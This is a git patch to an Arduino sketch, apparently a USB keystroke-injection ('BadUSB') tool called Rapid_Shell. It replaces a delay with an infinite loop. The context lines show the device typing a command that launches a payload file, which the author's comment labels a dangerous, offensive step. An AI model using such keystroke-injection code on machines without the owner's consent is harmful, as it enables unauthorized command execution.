From 6923ca8485b8c9693d862d9b9f915ebfba2cbd96 Mon Sep 17 00:00:00 2001 From: CedArctic Date: Sun, 18 Feb 2018 16:47:44 +0200 Subject: [PATCH] Replaced 5s end time window with an infinity loop --- Rapid_Shell/Rapid_Shell.ino | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rapid_Shell/Rapid_Shell.ino b/Rapid_Shell/Rapid_Shell.ino index ab73a4a..de19b6b 100644 --- a/Rapid_Shell/Rapid_Shell.ino +++ b/Rapid_Shell/Rapid_Shell.ino @@ -54,5 +54,5 @@ void loop() { DigiKeyboard.delay(500); DigiKeyboard.println("tmp.cmd && exit"); // Start the payload file and exit (DANGEROUS/OFFENSIVE STEP! Please comment this line if you want to test inoffensively on your own PC) digitalWrite(1, LOW); // LED off <--> Action end - DigiKeyboard.delay(5000); // 5 seconds delay to unplug the device safely between loops + for(;;){ /*Infinite loop to disconnect device*/ } }